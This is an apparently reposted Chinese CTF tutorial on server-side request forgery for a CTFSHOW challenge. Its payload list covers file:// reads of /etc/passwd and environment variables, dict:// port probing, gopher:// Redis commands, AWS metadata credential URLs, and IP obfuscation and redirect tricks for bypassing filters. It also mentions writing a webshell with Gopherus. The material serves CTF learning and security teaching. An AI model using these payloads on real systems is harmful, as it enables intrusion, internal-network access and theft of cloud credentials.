CTF学习:CTFSHOW简单的SSRF

admin 2026-03-04 09:58:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文讲解CTF中SSRF漏洞的原理与利用。核心内容涵盖file、dict、gopher等协议的Payload构造,重点介绍了gopher协议攻击Redis的实战方法。文章总结了IP混淆、URL编码及重定向等绕过限制技巧,最后通过实战案例演示了利用Gopherus工具写Shell并获取Flag的完整流程。 综合评分: 85 文章分类: CTF,WEB安全,漏洞POC,实战经验,安全工具


cover_image

CTF学习:CTFSHOW简单的SSRF

原创

小话安全 小话安全

小话安全

2026年3月3日 15:46 山东

什么是 SSRF?

SSRF 全称 Server-Side Request Forgery(服务器端请求伪造),攻击者通过控制服务器端发起的请求,使服务器向攻击者指定的内网或本地地址发起请求,从而访问本应无法从外部直接访问的资源。常见的利用方式包括:

  • 读取本地文件(如 file:// 协议)
  • 探测内网开放端口
  • 攻击内网其他服务

为什么 http://0/flag.php 能访问本地?

在 URL 解析中,0 会被解析为 0.0.0.0,而 0.0.0.0 在大多数操作系统和网络库中会被绑定到本机所有地址,通常等同于 localhost。所以 http://0/flag.php 实际请求的是本机的 /flag.php

有时也可以用 http://127.0.0.1/flag.phphttp://localhost/flag.php 或 http://[::1]/flag.php 来达到相同目的。

常用payload

一、按协议分类

  1. file:// – 读取本地文件
?url=file:///etc/passwd?url=file:///c:/windows/win.ini?url=file:///proc/self/environ   # 有时能拿到环境变量

利用 file:// 协议可以读取服务器上的任意文件,常用于获取 flag、配置文件或源码。

  1. dict:// – 探测端口与服务
?url=dict://127.0.0.1:3306/info?url=dict://127.0.0.1:6379/info   # 探测 Redis 是否开放?url=dict://127.0.0.1:80/info     # 检测 80 端口状态

dict:// 协议会返回服务的 banner 信息,可以快速判断端口是否开放以及运行什么服务。

  1. gopher:// – 构造任意 TCP 请求
gopher:// 是最强大的 SSRF 协议之一,可以构造 HTTP POST、Redis 命令、MySQL 查询等,支持原始 TCP 数据。

通用格式:

gopher://<host>:<port>/_<URL编码后的TCP数据>

常用场景:

攻击 Redis(未授权访问):gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a可执行写定时任务、反弹 shell 等。构造 HTTP POST 请求:gopher://127.0.0.1:80/_POST%20/path%20HTTP/1.1%0d%0aHost:127.0.0.1%0d%0aContent-Length:2%0d%0a%0d%0aa=1注意需要 URL 编码换行符(%0d%0a)

工具推荐:Gopherus 能自动生成 gopher payload(Redis、MySQL、FastCGI、Memcached 等)。

  1. http:// / https:// – 访问内网 Web 服务
?url=http://127.0.0.1:8080/admin?url=http://192.168.0.1/flag?url=http://0/flag.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 0 = 0.0.0.0 = localhost?url=http://localhost/secret

常用于访问内网的管理后台、微服务、云元数据服务(如 AWS 的 169.254.169.254)。

AWS 元数据端点(经典 SSRF 靶点):

?url=http://169.254.169.254/latest/meta-data/?url=http://169.254.169.254/latest/user-data/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin
  1. ftp:// / sftp:// – 尝试匿名登录
?url=ftp://127.0.0.1:21?url=ftp://anonymous:[email protected]:21/flag.txt

如果内网有 FTP 服务且允许匿名访问,可以读取文件。

二、IP 地址混淆技巧(绕过 IP 限制)

很多代码会检查请求的 IP 是否属于内网/本地,以下技巧可绕过简单过滤:

  1. 十进制 / 八进制 / 十六进制 IP
127.0.0.1&nbsp; &nbsp;=&nbsp;2130706433&nbsp;(十进制) =&nbsp;0177.0.0.1&nbsp;(八进制前缀&nbsp;0) =&nbsp;0x7f.0x0.0x0.0x1

例子:

?url=http://2130706433/flag.php?url=http://0x7f000001/flag.php?url=http://0177.0.0.1/flag.php
  1. 省略写法(短 IP)
127.0.0.1&nbsp;可写为&nbsp;127.10.0.0.0&nbsp; &nbsp;可写为&nbsp;0

例子:

?url=http://127.1/flag.php?url=http://0/flag.php
  1. 利用特殊域名 / DNS 解析
localhost&nbsp;→&nbsp;127.0.0.1localtest.me →&nbsp;127.0.0.1127.0.0.1.nip.io →&nbsp;127.0.0.1(nip.io 自动解析)spoofed.burpcollaborator.net(配合 DNS 重绑定)
  1. 句点混淆(IPv6 兼容)
?url=http://[::1]/flag.php &nbsp; &nbsp; &nbsp;# IPv6 localhost?url=http://[::ffff:127.0.0.1]/flag.php

三、URL 编码 / 双编码

当服务端有简单过滤时,可以对 URL 进行编码:

?url=http://127.0.0.1%2fflag.php &nbsp;&nbsp;# 编码斜杠可能绕过路径检测?url=http%3A%2F%2F127.0.0.1%2Fflag.php

四、利用重定向(跳板)

某些 SSRF 只允许 http 协议,但目标服务会返回 302 跳转到 file:// 等协议。可以自己搭建一个跳转服务:

http://your-server/redirect.php?url=file:///etc/passwd

服务端返回:

HTTP/1.1&nbsp;302&nbsp;FoundLocation: file:///etc/passwd

如果后端代码跟随重定向,即可读取本地文件。

利用gopherus工具写shell

二次 编码

用蚁剑连接,获得flag


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小话安全 小话安全 小话安全《CTF学习:CTFSHOW简单的SSRF》

评论:0   参与:  0